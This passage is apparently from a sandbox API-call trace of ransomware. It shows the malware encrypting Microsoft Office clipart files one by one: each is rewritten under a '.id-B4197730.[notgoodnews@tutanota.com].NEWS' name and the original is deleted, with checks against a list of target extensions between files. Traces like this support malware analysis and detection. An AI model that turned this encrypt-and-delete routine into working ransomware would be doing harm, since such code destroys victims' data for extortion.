lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0084.782] GetLastError () returned 0x0 [0084.782] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x9dc, lpOverlapped=0x0) returned 1 [0084.783] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9e0, lpOverlapped=0x0) returned 1 [0084.784] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.784] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.784] SetEndOfFile (hFile=0x36c) returned 1 [0084.785] CloseHandle (hObject=0x36c) returned 1 [0084.785] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.785] SetEndOfFile (hFile=0x338) returned 1 [0084.786] CloseHandle (hObject=0x338) returned 1 [0084.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0084.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.786] lstrlenW (lpString=".doc") returned 4 [0084.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.786] lstrlenW (lpString=".docx") returned 5 [0084.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.786] lstrlenW (lpString=".pdf") returned 4 [0084.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.786] lstrlenW (lpString=".xls") returned 4 [0084.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.786] lstrlenW (lpString=".xlsx") returned 5 [0084.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.786] lstrlenW (lpString=".ppt") returned 4 [0084.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.786] lstrlenW (lpString=".zip") returned 4 [0084.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.787] lstrlenW (lpString=".rar") returned 4 [0084.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString=".bz2") returned 4 [0084.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString=".7z") returned 3 [0084.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString=".dbf") returned 4 [0084.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString=".1cd") returned 4 [0084.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString=".jpg") returned 4 [0084.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString=".doc") returned 4 [0084.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString=".docx") returned 5 [0084.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.787] lstrlenW (lpString=".pdf") returned 4 [0084.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString=".xls") returned 4 [0084.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.787] lstrlenW (lpString=".xlsx") returned 5 [0084.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.787] lstrlenW (lpString=".ppt") returned 4 [0084.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.787] lstrlenW (lpString=".zip") returned 4 [0084.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.787] lstrlenW (lpString=".rar") returned 4 [0084.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.787] lstrlenW (lpString=".bz2") returned 4 [0084.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.788] lstrlenW (lpString=".7z") returned 3 [0084.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.788] lstrlenW (lpString=".dbf") returned 4 [0084.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.788] lstrlenW (lpString=".1cd") returned 4 [0084.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0084.788] lstrlenW (lpString=".jpg") returned 4 [0084.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.788] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.788] lstrlenW (lpString="DD01586_.WMF") returned 12 [0084.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.788] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2324) returned 1 [0084.788] CloseHandle (hObject=0x338) returned 1 [0084.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0084.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.789] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.789] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0084.789] GetLastError () returned 0x0 [0084.789] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x914, lpOverlapped=0x0) returned 1 [0084.790] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x920, lpOverlapped=0x0) returned 1 [0084.791] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.791] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.791] SetEndOfFile (hFile=0x36c) returned 1 [0084.791] CloseHandle (hObject=0x36c) returned 1 [0084.792] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.792] SetEndOfFile (hFile=0x338) returned 1 [0084.792] CloseHandle (hObject=0x338) returned 1 [0084.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0084.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.793] lstrlenW (lpString=".doc") returned 4 [0084.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.793] lstrlenW (lpString=".docx") returned 5 [0084.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.793] lstrlenW (lpString=".pdf") returned 4 [0084.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.793] lstrlenW (lpString=".xls") returned 4 [0084.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.793] lstrlenW (lpString=".xlsx") returned 5 [0084.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.793] lstrlenW (lpString=".ppt") returned 4 [0084.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.793] lstrlenW (lpString=".zip") returned 4 [0084.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.793] lstrlenW (lpString=".rar") returned 4 [0084.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.793] lstrlenW (lpString=".bz2") returned 4 [0084.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.793] lstrlenW (lpString=".7z") returned 3 [0084.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.793] lstrlenW (lpString=".dbf") returned 4 [0084.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".1cd") returned 4 [0084.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".jpg") returned 4 [0084.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".doc") returned 4 [0084.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString=".docx") returned 5 [0084.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.794] lstrlenW (lpString=".pdf") returned 4 [0084.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString=".xls") returned 4 [0084.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.794] lstrlenW (lpString=".xlsx") returned 5 [0084.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.794] lstrlenW (lpString=".ppt") returned 4 [0084.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".zip") returned 4 [0084.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.794] lstrlenW (lpString=".rar") returned 4 [0084.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString=".bz2") returned 4 [0084.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString=".7z") returned 3 [0084.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".dbf") returned 4 [0084.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.794] lstrlenW (lpString=".1cd") returned 4 [0084.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0084.795] lstrlenW (lpString=".jpg") returned 4 [0084.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.795] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.795] lstrlenW (lpString="DD01628_.WMF") returned 12 [0084.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.795] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=19068) returned 1 [0084.795] CloseHandle (hObject=0x338) returned 1 [0084.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0084.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.796] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.796] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0084.796] GetLastError () returned 0x0 [0084.796] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0084.798] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0084.799] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.799] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.800] SetEndOfFile (hFile=0x36c) returned 1 [0084.800] CloseHandle (hObject=0x36c) returned 1 [0084.800] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.800] SetEndOfFile (hFile=0x338) returned 1 [0084.801] CloseHandle (hObject=0x338) returned 1 [0084.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0084.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.823] lstrlenW (lpString=".doc") returned 4 [0084.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.823] lstrlenW (lpString=".docx") returned 5 [0084.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.823] lstrlenW (lpString=".pdf") returned 4 [0084.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString=".xls") returned 4 [0084.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.824] lstrlenW (lpString=".xlsx") returned 5 [0084.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.824] lstrlenW (lpString=".ppt") returned 4 [0084.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString=".zip") returned 4 [0084.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.824] lstrlenW (lpString=".rar") returned 4 [0084.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString=".bz2") returned 4 [0084.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString=".7z") returned 3 [0084.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString=".dbf") returned 4 [0084.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString=".1cd") returned 4 [0084.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString=".jpg") returned 4 [0084.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.824] lstrlenW (lpString=".doc") returned 4 [0084.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString=".docx") returned 5 [0084.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.824] lstrlenW (lpString=".pdf") returned 4 [0084.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.824] lstrlenW (lpString=".xls") returned 4 [0084.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.824] lstrlenW (lpString=".xlsx") returned 5 [0084.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.825] lstrlenW (lpString=".ppt") returned 4 [0084.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.825] lstrlenW (lpString=".zip") returned 4 [0084.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.825] lstrlenW (lpString=".rar") returned 4 [0084.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.825] lstrlenW (lpString=".bz2") returned 4 [0084.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.825] lstrlenW (lpString=".7z") returned 3 [0084.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.825] lstrlenW (lpString=".dbf") returned 4 [0084.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.825] lstrlenW (lpString=".1cd") returned 4 [0084.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0084.825] lstrlenW (lpString=".jpg") returned 4 [0084.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.825] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.825] lstrlenW (lpString="DD01629_.WMF") returned 12 [0084.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.667] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=580) returned 1 [0085.669] CloseHandle (hObject=0x350) returned 1 [0085.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0085.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.678] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.678] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 